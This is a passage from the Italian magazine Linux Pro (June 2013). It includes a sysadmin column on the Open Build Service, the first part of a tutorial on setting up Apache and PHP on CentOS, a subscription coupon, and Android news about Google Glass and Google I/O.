LXP: Non temete che così le funzioni risultino troppo disparate?JKM: Facciamo molta attenzione e direi che ultimamente stiamo ancora più attenti. Siamo diventati decisamente più scettici riguardo alle nuove funzioni. La domanda che tendiamo a porci è: “Perché non usare invece un modulo esterno prodotto da terzi?”. Vogliamo che la gente ci dimostri che una data funzione è talmente utile e favolosa da servire a tutti e meritare quindi un posto nel nucleo del framework, oppure che è talmente difficile da realizzare esternamente da rendere necessario farlo internamente. Se non si pongono limitazioni del genere, le funzioni proliferano al di fuori di ogni controllo; c’è un accumulo incessante di piccole funzioni utili solo a singoli utenti. Purtroppo, l’80% del lavoro di chi gestisce una comunità consiste nel dire di no. LXP

DOCUMENTAzIONE

“Fin dall’inizio ci siamo imposti di non pubblicare alcuna funzione senza documentazione”

Intervista

LINUx PRO 130 27

LXP130_24-27_intervista 27 06/06/13 16:58

Page 30: Linuxpro 130 Giugno 2013

28 Linux pro 130

Sysadmin

Premiata Amministreria Dottor Brown

Tecniche esoteriche per i sysadmin direttamente dai recessi più impenetrabili della sala server

28

Linux offre la possibilità di scegliere, mentre i sistemi proprietari la limitano. Ma è possibile averne troppa? Tutte le volte che vado al supermercato vedo persone paralizzate dall’indecisione davanti allo scaffale dell’olio d’oliva o al banco della verdura fresca, semplicemente perché hanno troppa libertà di scelta. Allo stesso modo ho visto potenziali utenti Linux incapaci di decidere quale tra le almeno 100 distribuzioni diverse presenti su http://distrowatch.com/ installare oppure, dopo averne scelta una, scoprire che esiste la versione desktop e la versione server e poi quella a 32 bit e quella a 64 e così via.Quest’imbarazzo della scelta ha fatto nascere i cosiddetti distro junkie, persone che saltano senza sosta da una distro all’altra, forse nella speranza di trovare il Linux perfetto, ma, più probabilmente a mio parere, per avere la loro dose quotidiana o semplicemente per passare a qualcosa di nuovo.

Defi nire lo standardLe cose non vanno meglio per quanto riguarda gli standard. oggigiorno i computer archiviano e manipolano numeri, testi, immagini, suoni e video. Ma in realtà sono in grado di trattare solo zeri e uno, quindi occorrono degli standard per defi nire come vengono rappresentate queste forme di dati ad alto livello. però la defi nizione di standard per tutto quello che va al di là di un umile intero a 32 bit è stata completamente fallimentare. Wikipedia elenca più di 80 formati per le immagini e circa 30 per l’audio. i formati dei fi le multimediali sono persino peggio, dato che non solo esistono formati per la codifi ca della parte audio e della parte video, ma esistono anche diversi formati per i contenitori che permettono di combinare le varie parti. Mi spiace, ma in questo campo non mi interessa davvero avere la possibilità di scegliere. Voglio un formato singolo usato da tutti e che tutti i dispositivi siano in grado di comprendere. penso che dovremmo essere in grado di scegliere quanta possibilità di scelta abbiamo a disposizione.

Troppa scelta

Dr Chris Brownil Dottore si occupa di formazione, scrittura di articoli e consulenze su Linux. Trova che il suo PhD in fi sica delle particelle non sia di alcun aiuto in questo tipo di lavoro.

i lettori assidui di questa rubrica mi hanno sentito brontolare spesso in passato a proposito

delle diffi coltà causate dalle differenti tecnologie presenti nelle varie distribuzioni Linux quando si tratta di preparare materiale per un corso di formazione. Beh, il proliferare di versioni, distro, e piattaforme hardware è di ostacolo anche per quegli sviluppatori di software che vogliano rendere disponibili alla più ampia comunità di utenti possibile le loro applicazioni come pacchetti precompilati. Questo signifi ca creare un pacchetto per un numero molto ampio di distro, la maggior parte delle quali non sarà nemmeno installata sul vostro sistema di sviluppo. Se siete uno sviluppatore e vi trovate in questa situazione, date un’occhiata all’Open Build Service di SuSE (http://openbuildservice.org). È un progetto openSuSE creato nel 2005 come riscrittura del sistema interno di compilazione e creazione dei pacchetti. in sostanza basta è suffi ciente caricare i sorgenti del vostro progetto, selezionare le piattaforme per le quali si intende eseguire il build, premere un bottone e poi aspettare fi nché il job di build viene assegnato ad uno dei 400 slot

Open Build ServiceMolti sviluppatori usano il servizio di SUSe per rendere disponibili le loro applicazioni su un’ampia gamma di piattaforme

disponibili. Alla fi ne il risultato consiste in un insieme di piccoli repository che contengono i pacchetti preconfezionati e in una serie di link ad essi, in modo che i vostri utenti siano in grado di installarli sulle loro distro usando i normali sistemi di gestione dei pacchetti.oBS non è limitato alla creazione di pacchetti per le distribuzioni SuSE, ma supporta una sostanziosa lista di piattaforme, tra cui varie versioni di Debian, Fedora, redHat, CentoS, Mandriva e ubuntu. per dare un’idea delle dimensioni, attualmente openSuSE Build Service ospita 28.600 progetti, con 189.197 pacchetti in 42.693 repository ed è utilizzato da 34.029 ferventi sviluppatori. il servizio dispone sia di un’interfaccia Web che di una a riga di comando, chiamata osc. il software oBS è open Source (GpL2), quindi, in alternativa ai servizi ospitati da SuSE, è possibile usarne una versione casalinga, scaricando e installando dai sorgenti oppure usando un’appliance già pronta (sono disponibili immagini di macchine VMware o di CD live). È una valida alternativa nel caso preferiate evitare di divulgare il vostro codice sorgente oppure non abbiate la necessità di rendere accessibile al pubblico la vostra applicazione.

qui vi mostriamo un frammento dell'enorme e ricca schermata di stato di OBS, da cui potete tenere sotto controllo tutte le vostre compilazioni senza fare troppa fatica

LXP130_28-31_sysadmin 28 06/06/13 17:15

Page 31: Linuxpro 130 Giugno 2013

Linux pro 130 29

Sysadmin

Lo stack LAMP

LAMP deve essere uno degli acronimi più conosciuti nel mondo open Source, ma, nel caso non l’abbiate mai sentito, la L sta per Linux, la A per Apache, la M per MySQL e la p sta per... beh, dipende dalla persona a cui lo chiedete. La maggior parte dirà probabilmente pHp, ma anche perl e python sono scelte comuni per la creazione di script lato server. Messe assieme queste quattro tecnologie ci consentono di creare siti Web dinamici sicuri, basati interamente su software gratuito e open Source.Cosa intendiamo con sito Web dinamico? Beh, in origine i contenuti Web erano statici. Ad esempio, qualcuno poteva scrivere una relazione di ricerca in forma di una o più pagine Web e il server le recapitava al browser dell’utente che visitava il sito. ogni volta che visitavate la pagina vedevate esattamente la stessa cosa a meno che, ovviamente, qualcuno l’avesse modificata sul server. un sito Web dinamico, al contrario, genere al volo almeno una parte del suo contenuto, di solito grazie all’esecuzione di codice (sul server) che è in qualche modo associato alla pagina Web. Come semplice esempio prendiamo la pagina del sito http://www.whattimeisit.com/, che vi dice che ore sono e che è palesemente dinamica: non vedete sempre le stesse cose ogni volta che visitate la pagina.

Architettura three-tierDi solito un sito dinamico usa un database nel cosiddetto back-end. Se per esempio visitate la pagina http://www.nationalrail.co.uk/, all’inizio vedrete una pagina più o meno statica, all’interno della quale potrete inserire una destinazione e un orario di partenza. una volta fatto click sul pulsante Go comparirà una nuova pagina contenente gli orari dei treni che corrispondono alle vostre richieste: questa pagina viene generata al momento con i dati ottenuti dalla consultazione di un database presente nel back-end. Quella che vedete qui in azione è una classica architettura three-tier (o architettura a tre strati): il primo è lo strato di presentazione e consiste nell’interfaccia che raccoglie le informazioni dagli utenti e presenta loro i risultati delle ricerche. Lo strato intermedio è il cosiddetto business layer, all’interno del quale risiede la logica dell’applicazione. Se ad esempio state cercando gli orari dei treni tra Leeds e Luton e vi interessano solo i treni più veloci, occorre fare qualche ragionamento per capire quali sono. È questo quello che intendiamo per “business logic”. infine, lo strato di back-end è quello in cui risiedono i dati: in questo caso si tratta di un database con gli orari dei treni. Lo stack LAMp permette di creare sistemi basati su queste architetture a tre strati, anche se, come si vede dalla figura qui accanto, non esiste una corrispondenza ben definita tra i componenti L, A, M e p e i tre strati dell’architettura. in questa serie di articoli cominceremo con una installazione di base su CentoS 6.2. installeremo e configureremo i pezzi A, M e p e imposteremo un ambiente di sviluppo. impareremo anche come funziona un database e un po’ di SQL (Structured Query Language), faremo i conti con HTML, almeno un po’, e impareremo abbastanza pHp da riuscire a creare un sito dinamico. Vi incoraggio caldamente a installarvi CentoS (magari in una macchina virtuale) e a mettere in pratica quanto leggerete.

LAMp è così usato che molte distribuzioni Linux consentono di installarlo in un’unica operazione. Ad esempio su ubuntu il comando tasksel, che installa una collezione predefinita di software per un determinato uso del sistema, definisce una configurazione LAMp che installa tutto con un unico comando. un altro esempio è fornito dal percorso guidato New Instance del servizio di hosting all’interno della nuvola AWS: è sufficiente selezionare il tab Community AMIs e cercare LAMp. Ci sono più di 200 immagini di macchine virtuali donate dalla comunità, la maggior parte delle quali si basa su ubuntu o CentoS. per una migliore comprensione di quello che succede conviene però installare separatamente i vari pezzi, ed è quello che faremo. Cominciamo con Apache. È presente nei repository standard di CentoS, quindi l’installazione è semplicissima: # yum install httpdQuesto comando installa anche alcune dipendenze, sostanzialmente il supporto runtime di Apache. Conviene installare anche la documentazione, che si trova in un pacchetto separato: # yum install httpd-manualil principale file di configurazione di Apache è /etc/httpd/conf/httpd.conf. Diamo un’occhiata alle direttive più importanti al suo interno (quello riportato nel seguito è solo un estratto del file e i numeri di riga sono stati aggiunti per comodità): 1. Serverroot “/etc/httpd” 2. Listen 80 3. user apache 4. Group apache 5. LoadModule auth_basic_module modules/mod_auth_ basic.so 6. LoadModule auth_digest_module modules/mod_auth_ digest.so 7. include conf.d/*.conf 8. LogLevel warn 9. Documentroot “/var/www/html”10. <ifModule prefork.c>11. StartServers 812. MinSpareServers 513. MaxSpareServers 2014. ServerLimit 25615. MaxClients 25616. MaxrequestsperChild 400017. </ifModule>La riga 1 definisce la directory in cui si trovano il file

I fantastici quattro del mondo Open Source: mettono a disposizione tutto quello che serve per creare e gestire un sito Web commerciale. Prima parte di una serie di quattro tutorial

œ

Una tipica architettura a tre livelli realizzata usando lo stack LAMP

LINUX

APAChe PhP

Livello di presentazione

Livello dei dati

Livello di business

Ciao mondo MySqL

LXP130_28-31_sysadmin 29 06/06/13 17:15

Page 32: Linuxpro 130 Giugno 2013

30 Linux pro 130

Sysadmin

di confi gurazione, i fi le di registro e quelli di errore del server. A dire il vero /etc non è il posto più appropriato per i fi le di log, infatti scoprirete che /etc/http/logs è in realtà un link simbolico a /var/log/httpd, la directory standard per questo tipo di fi le. La riga 2 specifi ca il numero della porta su cui restare in ascolto. ovviamente la 80 è la porta standard per HTTp. Le righe 3 e 4 defi niscono utente e gruppo sotto i quali girerà il server (l’account “apache” viene creato al momento dell’installazione del pacchetto). Quello che succede in realtà è più complicato: quando il server viene avviato il processo (padre) iniziale gira come root, in modo da essere in grado di accedere alla porta 80 (in unix e Linux esiste una regola che dice che le porte il cui numero è inferiore a 1024 sono “privilegiate”, cioè solo i processi che girano come root possono fare un bind ad esse). il processo padre crea poi un certo numero di processi fi glio che restano in attesa di richieste da servire, e questi processi rinunciano ai privilegi di root assumendo l’identità dell’utente defi nito dalle direttive User e Group. Quelli che si occupano di sicurezza chiama questo il principio del minimo privilegio. Le righe 5 e 6 mostrano semplicemente due delle numerose righe che caricano i moduli di Apache. L’eseguibile apache contiene solo un minimo insieme di moduli (deciso dai ragazzi di CentoS al momento della compilazione), mentre la maggior parte delle funzionalità è fornita dai moduli caricati dinamicamente. La riga 7 è un esempio di quello che in questa rubrica indico di solito come il “morbo del punto d”: dice al server di leggere anche i fi le di confi gurazione presenti in /etc/httpd/conf.d. Vedremo un esempio utilizzo di questa funzionalità più avanti. La riga 8 controlla la verbosità del log: sono registrati solo i messaggi al livello di warn o superiore. La riga 9 defi nisce la directory di livello superiore all’interno della quale si trovano i contenuti che saranno inviati agli utenti. infi ne le righe dalla 10 alla 17 hanno a che fare con il performance tuning, l’ottimizzazione delle prestazioni del server. per assicurare una veloce risposta alle richieste in arrivo, Apache cerca di mantenere un pool di processi

di riserva pronti a trattarle. notate il tentativo poco convinto di adottare una sintassi simile all’xML, con tag di apertura e chiusura. Vedremo più avanti altri esempi di queste direttive contenitore. il fi le di confi gurazione di default va bene per le nostre immediate esigenze, quindi possiamo procedere con l’avvio del servizio: # service httpd startAssicuratevi che il server venga fatto partire all’avvio della macchina con il comando # chkconfi g httpd onAl solo scopo di verifi care che tutto funzioni correttamente, creeremo un fi le chiamato /var/www/html/saluto.html con al suo interno Ciao mondo!A dire la verità dovremmo inserire qualche direttiva HTML al suo interno, almeno i tag <head> e <body>, ma il browser non protesta e mostra tranquillamente anche la nostra semplice riga di testo. una volta creato il fi le aprite un browser e andate all’urL http://localhost/saluto.html: dovreste vedere una pagina bianca con in alto la scritta “Ciao mondo!”. nel caso non funzionasse date un’occhiata ai consigli nel box qui a fi anco.

Accedere alla documentazioneSe invece andate su http://localhost/manual dovreste vedere la pagina iniziale della documentazione online. Da qui potete accedere alla collezione di guide utente, piene di riferimenti incrociati tra di loro, ai tutorial e alla documentazione di dettaglio di tutte le direttive di confi gurazione. Da dove viene tutto questo materiale? Beh, se fate la lista dei fi le del pacchetto httpd-manual: # rpm -ql httpd-manualvedrete che ha installato parecchi fi le sotto /var/www/manual. A prima vista sembrerebbe un errore, perché questa directory non si trova sotto la Documentroot del nostro server (/var/www/html), quindi dovrebbe risultare inaccessibile. Cosa sta succedendo? il fatto è che il pacchetto httpd-manual ha anche piazzato un fi le di confi gurazione manual.conf nella directory /etc/httpd/conf.d. Questo defi nisce un alias: Alias /manual /var/www/manual(a dire il vero la riga presente nel fi le è molto più complicata, per via di un’espressione regolare che consente di accedere al manuale nella lingua prescelta dall’utente. La riga mostrata qui sopra comunque funziona altrettanto bene). È questo alias che fa corrispondere un urL come http://localhost/manual/bind.html al fi le /var/www/manual/bind.html.

P come PhPora abbiamo la parte A del nostro stack LAMp installata e funzionante. passiamo quindi alla p. Anche in questo caso tutto quello che serve è presente nei repository CentoS: # yum install phpLo scopo fi nale è quello di usare pHp per eseguire script lato server all’interno di un’applicazione Web, ma possiamo anche eseguire script indipendentemente da questo, esattamente come eseguiremmo uno script perl o uno script di shell della Bash. Cominciamo quindi con uno script “ciao mondo”: #!/usr/bin/php<?php echo “Ciao mondo**************\n”; ?>La prima è la solita riga che contiene lo shebang che dice a Linux quale interprete usare. nella seconda riga invece abbiamo dovuto inserire il codice pHp all’interno dei tag <?php ...?>, in modo che l’interprete lo esegua. Tutto quello che si trova al di fuori di questi due tag viene

DocumentRoot “/var/www/html”

/var/www/html/stuff.html

http://yourserver/stuff.html

il file che sarà spedito

Direttiva nel file di configurazione

L’utente vuole andare qui

ecco come l’URL inserito dall’utente e la DocumentRoot si combinano insieme per determinare il nome del fi le da inviare al client

quando le cose non funzionanoSe il vostro server Apache non funziona, non disperate, ci sono alcune cose da verifi care prima:∆ il demone sta girando? il comando ps -ef | grep httpd dovrebbe mostrare un processo httpd che gira come root e otto che girano come apache.∆ il demone è in ascolto? il comando

lsof -i tcp:80 dovrebbe mostrare il medesimo insieme di nove processi in ascolto sulla loro porta.∆ Quando navigate nel sito vedete qualche nuova riga nel fi le di registro degli accessi (/var/log/httpd/access_log) o in quello degli errori (/var/log/httpd/error_log)?

LXP130_28-31_sysadmin 30 06/06/13 17:15

Page 33: Linuxpro 130 Giugno 2013

Linux pro 130 31

Sysadmin

semplicemente copiato sull’output standard. Quindi create un fi le saluto.php contenente le due righe mostrate sopra, rendetelo eseguibile e lanciatelo: $ chmod u+x saluto.php $ ./saluto.phpil pacchetto php che avete appena installato contiene il fi le /etc/httpd/conf.d/php.conf. Come ricorderete avevo sostenuto che httpd soffre del morbo del punto d. Beh, ecco il benefi cio: quando un pacchetto viene installato può semplicemente copiare un fi le di confi gurazione in più nella directory conf.d e il server lo carica. ovviamente occorre riavviare il servizio perché la modifi ca abbia effetto: # service httpd restartil fi le php.conf dice ad Apache di usare il modulo php; al suo interno si trova una direttiva LoadModule che installa il modulo php5 di Apache e una direttiva Addhandler che associa l’handler degli script pHp ai fi le con estensione .php. ora il nostro sito Web è in grado di usare pHp per generare dinamicamente i contenuti da inviare ai client. Ecco un esempio che, dal punto di vista funzionale, è simile al sito http://www.whattimeisit.com/ visto prima. È un po’ più completo dal punto di vista dell’HTML: <html> <head> <title>Che ore sono?</title> </head>

<body> <h3>Sono le: </h3> <?php date_default_timezone_set(“uTC”); echo date(“F j, Y, g:i a”); ?>

</body> </html>notate che, come nello script pHp più sopra, dobbiamo racchiudere il codice all’interno dei tag <?php ... ?> perché venga interpretato. per provare se funziona create un fi le /var/www/html/ora.php, inserite l’HTML riportato qui sopra e poi visitate la pagina http://localhost/ora.php. per andare un po’ oltre aggiungete phpinfo();all’interno dei tag php. ricaricate la pagina nel browser e vedrete un sacco di informazioni gradevolmente formattate relative alle impostazioni di pHp e all’ambiente in cui gira.Se state per davvero sperimentando quanto andiamo esponendo (sarei portato a credere che alcuni di voi lo facciano) potreste avere l’impressione di non aver ottenuto

un granché fi nora. invece abbiamo raggiunto un risultato importante. Abbiamo mostrato che sia il server Apache che l’interprete pHp funzionano correttamente insieme e che siamo in grado di generare contenuti dinamici usando pHp.

Ambiente di sviluppoDato che usiamo Linux, l’unico strumento di cui abbiamo davvero bisogno per sviluppare siti dinamici è un editor di testo, come il buon vecchio Vi. Esiste tuttavia un certo numero di strumenti di sviluppo open Source che ci consentono di moltiplicare la nostra produttività. uno di questi è Eclipse, un ambiente di sviluppo integrato (IDE, integrated Development Environment) che permette di lavorare con un’ampia gamma di linguaggi, grazie ai suoi numerosi plug-in. Ecco come installarlo:∆ visitate http://www.eclipse.org;∆ cliccate sul link Download eclipse e scegliete Eclipse Classic. Se state usando un sistema a 32 bit assicuratevi di selezionare la relativa versione.∆ scaricate e salvate il fi le; dovrebbe avere un nome tipo eclipse-SDK-4.2.1-linux-gtk.tar.gz∆ aprite un terminale, andate nella vostra directory home ed estraete l’archivio appena scaricato, più o meno così: $ cd $ tar xvf ~/Downloads/eclipse-SDK*.tar.gzora potete lanciare Eclipse dalla riga di comando: $ cd eclipse $ ./eclipseprobabilmente vi converrà aggiungere una icona sul desktop per lanciarlo più comodamente. Dovrete ora installare il plug-in per il linguaggio pHp:∆ dal menu Help di Eclipse selezionate Install New Software∆ nella fi nestra di dialogo Available Software selezionate Juno dalla tendina Work with:∆ espandete la categoria Programming Languages e selezionate PhP Development Tools∆ accettate l’accordo di licenza e cliccate su Finishil mese prossimo ci addentreremo tra i misteri dell’HTML e scriveremo una vera applicazione Web che elabora richieste inviate tramite un modulo. Arrivederci! LXP

La creazione di pagine hTML è un’operazione noiosa, ma Quanta aiuta. È in grado di comprendere anche un po’ di PhP, tanto per cambiare

editor hTMLCi sono molti editor open Source per l’HTML. Mettono a disposizione scorciatoie di tastiera per inserire gli elementi strutturali standard del linguaggio, suggeriscono il completamento dei tag e degli attributi e offrono una qualche forma di anteprima. Quello

che io raccomando è Quanta Plus. potete installarlo su CentoS con il comando # yum install kdeWebdevDato che si tratta di uno strumento per KDE (e CentoS è un ambiente che si basa su GnoME), l’installazione porterà con sé un bel po’ di librerie KDE di supporto.

Controllo degli accessiApache è in grado di applicare il controllo degli accessi a vari livelli. Ecco un esempio di come limitare l’accesso ad una parte del sito a macchine con indirizzo ip compreso in un blocco specifi co (magari la rete locale): <Directory /var/www/html/private> order deny,allow deny from all allow from 192.168.1.0/24

</Directory>notate l’uso del contenitore <Directory>. È anche possibile imporre un controllo degli accessi sulla base dell’utente, richiedendo nome utente e password per accedere a parti specifi che del sito. Si può inoltre creare un sito sicuro che usa il protocollo HTTpS. utilizzando certifi cati auto fi rmati è piuttosto semplice.

LXP130_28-31_sysadmin 31 06/06/13 17:15

Page 34: Linuxpro 130 Giugno 2013

s

p

Diventa protagonista del mondo Linux

Page 35: Linuxpro 130 Giugno 2013

39,90 € invece di 70,80 €SCONTO 43%

PREZZO BLOCCATO: per tutta la durata dell’abbonamento non pagherai un euro in più, anche se il prezzo

di copertina dovesse subire aumenti.

TUTTI I NUMERI ASSICURATI: se per cause di forza maggiore qualche numero

della rivista non venisse stampato, l’abbonamento verrà prolungato � no

al raggiungimento dei numeri previsti.

RIMBORSO GARANTITO: potrai disdire il tuo abbonamento quando vorrai, con la sicurezza di avere il rimborso dei numeri

che non hai ancora ricevuto.

ABBONANDOTI AVRAI DIRITTO AI SEGUENTI

VANTAGGI

Informativa ex Art.13 LGS 196/2003. I suoi dati saranno trattati da Sprea Editori S.p.A. Socio Unico Sprea Holding S.p.A., nonché dalle società con essa in rapporto di controllo e collegamento ai sensi dell’art. 2359 c.c. titolari del trattamento, per dare corso alla sua richiesta di abbona-mento. A tale scopo, è indispensabile il conferimento dei dati anagra� ci. Inoltre previo suo consenso i suoi dati potranno essere trattati dalle Titolari per le seguenti � nalità: 1) Finalità di indagini di mercato e analisi di tipo statistico anche al � ne di migliorare la qualità dei servizi erogati, marketing, attività promozionali, offerte commerciali anche nell’interesse di terzi. 2) Finalità connesse alla comunicazione dei suoi dati personali a soggetti operanti nei settori editoriale, largo consumo e distribuzione, vendita a distanza, arredamento, telecomunicazioni, farmaceutico, � nanziario, assicurativo, automobilistico, e ad enti pubblici ed Onlus, per propri utilizzi aventi le medesime � nalità di cui al suddetto punto 1) e 2 ). Per tutte le � nalità menzionate è necessario il suo esplicito consenso. Responsabile del trattamento è Press Di Srl – Via Trentacoste, 7 - 20134 Milano. I suoi dati saranno resi disponibili alle seguenti categorie di incaricati che li tratteranno per i suddetti � ni: addetti al customer service, addetti alle attività di marketing, addetti al confezionamento. L’elenco aggiornato delle società del gruppo Sprea Editori S.p.A., delle altre aziende a cui saranno comunicati i suoi dati e dei responsabili potrà in qualsiasi momento essere richiesto al numero 030.319.82.81 “Customer Service”. Lei può in ogni momento e gratuitamente esercitare i diritti previsti dall’articolo 7 del D.Lgs.196/03 – e cioè conoscere quali dei suoi dati vengono trattati, farli integrare, modi� care o cancellare per violazione di legge, o opporsi al loro trattamento – scrivendo a Press Di Srl - Uf� cio Privacy – Via Trentacoste, 7 –20134 Milano.

•TELEFONA al N. 199 111 999 Dal lunedì al venerdì dalle ore 9,00 alle ore 19,00. Costo massimo della chiamata da tutta Italia per telefoni � ssi: € 0,12 + iva al minuto senza scatto alla risposta. Per cellulari costo in funzione dell’operatore.

•POSTA Compila, ritaglia e spedisci il coupon in busta chiusa a: Press Di - Servizio Abbonamenti - Casella Postale 97 - 25126 Brescia BS

•FAX invia il coupon al N. 030 3198412 •ONLINE sul sito www.myabb.it/linuxpro

•SMS da inviare al N. 335 8331122 indicando nell’ordine: il codice dell’offerta 25916!Nome!Cognome!Indirizzo!Numero civico!Località!CAP!Sigla provincia!S (oppure N)!S (oppure N)! per indicare rispettivamente il consenso (Si o No) alla privacy 1 e alla privacy 2 riportate sulla

cartolina. Non lasciare nessuno spazio dopo i punti esclamativi come nell’esempio:

25916!Paolo!Rossi!Via Verdi!1!Milano!20123!Mi!S!S! Entro 24 ore riceverai un SMS di conferma dal Servizio Abbonati. Il costo del messaggio inviato è pari al normale costo di un SMS.

Il pagamento dell’abbonamento è previsto in un’unica soluzione con il bollettino di conto corrente postale che ti invieremo.

ABBONATI SUBITO! ABBONATI SUBITO! ABBONATI SUBITO! ABBONATI SUBITO! SCEGLI IL METODO PIÙ COMODO PER ABBONARTI:

OFFERTA VALIDA SOLO PER L’ITALIA 389 11 006 389 01

Accetto che i miei dati vengano comunicati a soggetti terzi (come indicato al punto 2 dell’informativa privacy): ☐ SI ☐ NO

Accetto di ricevere offerte promozionali e di contribuire con i miei dati a migliorare i servizi offerti (come speci� cato al punto 1 dell’informativa privacy): ☐ SI ☐ NO

Compila, ritaglia e invia questo coupon in busta chiusa a: PRESS-DI Servizio Abbonamenti - Casella Postale , Brescia

Tagliare lungo la linea tratteggiata

▷ Inviate Linux Pro al mio indirizzo:Cognome e Nome

Località

Tel. email

CAP Prov.

Via N.

30 Con il bollettino postale che mi invierete

20 Con carta di credito: Visa American Express Diners Mastercard

▷ Scelgo di pagare, in un unico versamento:

Numero

Scad. (mm/aa) Firma

Sì! Mi abbono a Linux ProCOUPON DI ABBONAMENTO

Riceverò numeri a soli , euro anziché , euro con lo sconto del %

LXP130_32-33_Doppia_Abbo_LinuxPro.indd 33 10/06/13 15:35

Page 36: Linuxpro 130 Giugno 2013

34 Linux pro 130

L’angolo di

News, recensioni e guide sul sistema operativo libero per smartphone

AndroidGoogle Glass, un anno dopoA un anno dalla loro presentazione, gli occhiali a realtà aumentata di Google si preparano ad affrontare la sfida degli utenti veri

Quando durante l’i/o del 2012 Google presentò a sorpresa i suoi occhiali a realtà aumentata

con display integrato, in molti pensarono a uno dei tanti esperimenti eccentrici del gigante di Mountain View. in realtà durante quest’anno gli sviluppatori che hanno avuto la fortuna di provarli e di creare app adatte all’uso sono stati la migliore fonte di pubblicità per i Google Glass e ora che il momento del rilascio al pubblico si avvicina si inizia a saperne qualcosa di più. Anche perché nel frattempo almeno un paio di Google Glass sono arrivati anche in italia e più precisamente a Bologna, presso i laboratori di MusicxMatch, società bolognese che ha sviluppato un’app per iphone, Android e Windows phone, scaricata già 15 milioni di volte, in grado di riconoscere i brani musicali e fornirne i testi completi. L’idea si applica benissimo ai Google Glass e al loro sistema di riconoscimento della voce; volendo vi permetterà di vedere scorrere in sottofondo le parole mentre, magari a un concerto, state ascoltando la vostra musica preferita. Ma le possibili applicazioni sono tante

e non si limitano alle fotografi e al volo, alle mappe interattive o alla ricerca di informazioni visualizzabili sul display dell’occhiale: tra le altre sono già disponibili app interattive di cucina che visualizzano le ricette mentre state cucinando, un’app che permette di comandare il quadricottero Ar Drone con i comandi vocali o muovendo la testa per orientarne il movimento. particolarmente interessanti sono anche le app per socializzare come ice Breaker, che vi permette di avere sott’occhio informazioni fondamentali su chi vi sta davanti prima ancora di parlargli e naturalmente giochi multiplayer online del tipo MMo come Swarm. per avere un elenco aggiornato delle centinaia di app già disponibili, o attualmente allo studio, è possibile visitare il sito http://glass-apps.org/. Certo, poi rimane l’ostacolo del prezzo, 1.500 dollari (che molto probabilmente diventeranno 1.500 euro) non sono certamente pochi ma sono destinati presto a scendere se l’oggetto avrà successo e non è azzardato prevedere che entro un paio di anni arrivino a costare come uno smartphone di fascia alta, cioè sui 700 euro.

Finalmente flessibile È arrivato il momento di piegare lo schermo

Degli schermi fl essibili si sente parlare ormai da anni: Apple ha già presentato un brevetto

per il suo, così come Samsung che ha già mostrato diversi prototipi. Ma ora di colpo tocca a LG attirare l’attenzione per avere presentato un suo schermo oLED fl essibile da 5 pollici ma soprattutto per avere annunciato che il primo smartphone con questo display fl essibile sarà in commercio prima di natale. Attenzione però, perché schermo fl essibile non signifi ca smartphone pieghevole, ma semplicemente

un tipo di schermo realizzato in uno speciale materiale plastico che è praticamente indistruttibile, oltre che pieghevole. inoltre la tecnologia oLED utilizzata per questo schermo permette di ottenere un display decisamente più sottile e leggero senza infl uire in maniera importante sui costi. insomma questa dovrebbe essere la volta buona per non avere più vetri in pezzi mentre il passo successivo sarà quello dell’intera struttura dello smartphone che diventerà ripiegabile, ma per questo dovremo aspettare ancora un po’.

GMail si cambiaPosta elettronica sul Web sempre più evoluta

Non passa praticamente giorno senza che vengano più o meno silenziosamente

effettuate modifi che anche in applicazioni fondamentali per Google come GMail o la casella Search. per quest’ultima è stata già introdotta la possibilità di effettuare ricerche vocali da Chrome semplicemente selezionando l’icona del microfono e sfruttando lo stesso motore di ricerca della ricerca di Android. i tempi di risposta sono velocissimi e la percentuale di comprensione supera il 95% anche utilizzando il classico microfono

integrato presente nella maggior parte dei notebook. nel momento in cui stiamo scrivendo il nuovo GMail non è ancora stato distribuito, ma le novità sono già defi nite e molto sostanziose. in pratica tutte le mail ricevute verranno divise in cinque sezioni: importanti, Social, pubblicità, Aggiornamenti e Forum, in modo da potere gestire al meglio le centinaia di messaggi che arrivano in casella. inoltre, come già è successo con play Music e play Books, viene inserito un pannello laterale mobile che permette di individuare più facilmente quello che interessa.

LXP130_34-35_news android 34 06/06/13 01:47

Page 37: Linuxpro 130 Giugno 2013

Linux pro 130 35

News L’angolo di Android

Google Glass, un anno dopo

Google si mette in mostraTutte le novità di Google dei prossimi dodici mesi in anteprima all’annuale conferenza I/O per gli sviluppatori

I/o, acronimo di input/output, è ormai da cinque anni la principale conferenza di Google, quella in cui gli

ingegneri di Mountain View si confrontano con gli sviluppatori di tutto il mondo e presentano le novità che arriveranno nei mesi successivi. Durante l’i/o dell’anno scorso Google aveva sorpreso tutti presentando novità hardware

e software come il tablet Nexus 7, gli occhiali Google Glass e l’ultima versione di Android, e quindi molti si aspettavano anche quest’anno novità hardware e software importanti. invece a Google hanno deciso di tornare alle origini presentando molte novità software anche di un certo livello ma spalmate su tutte le piattaforme, e senza l’effetto WoW che molti si aspettavano. Gli effetti speciali evidentemente non sono più necessari visto che Android è oggi di gran lunga leader del settore smartphone, essendo presente nel 75% dei telefoni “smart” di tutto il mondo e avendo superato le 900 milioni di attivazioni. il problema, caso mai, è quello delle tante personalizzazioni effettuate dai produttori con il conseguente mancato aggiornamento del

sistema, ancora oggi solo il 30% degli Android in circolazione sfrutta l’ultima versione 4.2 Jelly Bean. perciò a Google hanno deciso di non presentare subito una nuova versione di Android che sarebbe stata utile a pochi, ma di mettere a punto delle novità valide per tutti (o quasi), come il nuovo sistema di messaggistica integrato Hangouts o i Play Services

dedicati ai giocatori e il servizio di musica in streaming Play Music All Access.

Una sola chatunificazione e sincronizzazione sono ormai da tempo le parole d’ordine di Google, che con Hangouts (“ritrovi” in italiano), ha voluto riunire i già esistenti servizi di messaggistica Talk, Messenger e Google+, inserendo in più la totale sincronizzazione attraverso GMail o Google+. oltre alla classica chat testuale, Hangouts permette di effettuare chat audio e video anche di gruppo (fino a un massimo di 10 partecipanti) e consente la condivisione di immagini e documenti che verranno poi archiviati in uno speciale album a disposizione dei partecipanti. inoltre, a meno che non venga chiesta

l’eliminazione della chat da qualche partecipante, viene mantenuta la cronologia storica di tutte le conversazioni rendendola accessibile anche successivamente da qualsiasi browser. Attenzione però perché Hangouts non usa lo stesso protocollo aperto di messaggistica xMpp che usava Google Talk, ma una versione proprietaria, che di fatto impedisce

l’accesso a tutte le applicazioni multichat di terze parti. Che Google punti molto su Hangouts lo si capisce anche dal fatto che a breve è prevista, almeno negli uSA,

l’integrazione con gli SMS e con il Servizio Voip Google Voice.

